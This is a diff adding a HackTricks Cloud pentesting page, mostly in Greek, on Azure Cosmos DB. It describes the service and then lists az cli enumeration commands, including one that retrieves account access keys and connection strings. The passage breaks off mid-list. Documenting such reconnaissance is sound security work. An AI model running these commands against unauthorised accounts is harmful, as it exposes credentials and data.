+++ b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md
@@ -0,0 +1,357 @@
+# Az - CosmosDB
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
+
+## Azure CosmosDB
+
+**Azure Cosmos DB** είναι μια πλήρως **διαχειριζόμενη NoSQL, σχεσιακή και διανυσματική βάση δεδομένων** που προσφέρει χρόνους απόκρισης σε χιλιοστά του δευτερολέπτου, αυτόματη κλιμάκωση και διαθεσιμότητα υποστηριζόμενη από SLA με ασφάλεια επιπέδου επιχείρησης. Διευκολύνει την ταχύτερη ανάπτυξη εφαρμογών μέσω έτοιμης διανομής δεδομένων σε πολλές περιοχές, ανοιχτών APIs, SDKs για δημοφιλείς γλώσσες και χαρακτηριστικά βάσεων δεδομένων AI όπως η ενσωματωμένη υποστήριξη διανυσμάτων και η απρόσκοπτη ενσωμάτωσή της με Azure AI.
+
+Η Azure Cosmos DB παρέχει πολλαπλά APIs βάσεων δεδομένων για την μοντελοποίηση πραγματικών δεδομένων χρησιμοποιώντας έγγραφα, σχεσιακά, key-value, γραφήματα και μοντέλα δεδομένων column-family, με αυτά τα APIs να είναι NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin και Table.
+
+Ένας βασικός τομέας του CosmosDB είναι ο Azure Cosmos Account. **Azure Cosmos Account**, λειτουργεί ως σημείο εισόδου στις βάσεις δεδομένων. Ο λογαριασμός καθορίζει βασικές ρυθμίσεις όπως η παγκόσμια διανομή, τα επίπεδα συνέπειας και το συγκεκριμένο API που θα χρησιμοποιηθεί, όπως το NoSQL. Μέσω του λογαριασμού, μπορείτε να ρυθμίσετε την παγκόσμια αναπαραγωγή για να διασφαλίσετε ότι τα δεδομένα είναι διαθέσιμα σε πολλές περιοχές για γρήγορη πρόσβαση. Επιπλέον, μπορείτε να επιλέξετε ένα επίπεδο συνέπειας που ισορροπεί μεταξύ απόδοσης και ακρίβειας δεδομένων, με επιλογές που κυμαίνονται από Strong έως Eventual consistency.
+
+### NoSQL (sql)
+Το Azure Cosmos DB NoSQL API είναι ένα API βασισμένο σε έγγραφα που χρησιμοποιεί το JSON ως μορφή δεδομένων του. Παρέχει μια σύνταξη ερωτήσεων παρόμοια με τη SQL για την εκτέλεση ερωτήσεων σε αντικείμενα JSON, καθιστώντας το κατάλληλο για εργασία με δομημένα και ημι-δομημένα δεδομένα. Το endpoint της υπηρεσίας είναι:
+
+{% code overflow="wrap" %}
+```bash
+https://.documents.azure.com:443/
+```
+{% endcode %}
+
+#### Βάσεις Δεδομένων
+Μέσα σε έναν λογαριασμό, μπορείτε να δημιουργήσετε μία ή περισσότερες βάσεις δεδομένων, οι οποίες λειτουργούν ως λογικές ομάδες κοντέινερ. Μια βάση δεδομένων λειτουργεί ως όριο για τη διαχείριση πόρων και τα δικαιώματα χρηστών. Οι βάσεις δεδομένων μπορούν είτε να μοιράζονται την παρεχόμενη απόδοση σε όλα τα κοντέινερ τους είτε να εκχωρούν αποκλειστική απόδοση σε μεμονωμένα κοντέινερ.
+
+#### Κοντέινερ
+Η βασική μονάδα αποθήκευσης δεδομένων είναι το κοντέινερ, το οποίο περιέχει έγγραφα JSON και είναι αυτόματα ευρετηριασμένο για αποδοτική αναζήτηση. Τα κοντέινερ είναι ελαστικά κλιμακούμενα και κατανεμημένα σε κατατμήσεις, οι οποίες καθορίζονται από ένα κλειδί κατατμήσεων που ορίζει ο χρήστης. Το κλειδί κατατμήσεων είναι κρίσιμο για την εξασφάλιση βέλτιστης απόδοσης και ομοιόμορφης κατανομής δεδομένων. Για παράδειγμα, ένα κοντέινερ μπορεί να αποθηκεύει δεδομένα πελατών, με το "customerId" ως το κλειδί κατατμήσεων.
+
+#### Αρίθμηση
+
+{% tabs %}
+{% tab title="az cli" %}
+{% code overflow="wrap" %}
+```bash
+# CosmoDB Account
+## List Azure Cosmos DB database accounts.
+az cosmosdb list --resource-group
+az cosmosdb show --resource-group --name
+
+## Lists the virtual network accounts associated with a Cosmos DB account
+az cosmosdb network-rule list --resource-group --name
+## List the access keys or connection strings for a Azure Cosmos DB
+az cosmosdb keys list --name --resource-group
+## List all the database accounts that can be restored.
+az cosmosdb restorable-database-account list --account-name
+## Show the identities for a Azure Cosmos DB database account.
+az cosmosdb identity show --resource-group --name
+
+
+# CosmoDB (NoSQL)
+## List the SQL databases under an Azure Cosmos DB account.
+az cosmosdb sql database list --resource-group --account-name
+## List the SQL containers under an Azure Cosmos DB SQL database.
+az cosmosdb sql container list --account-name --database-name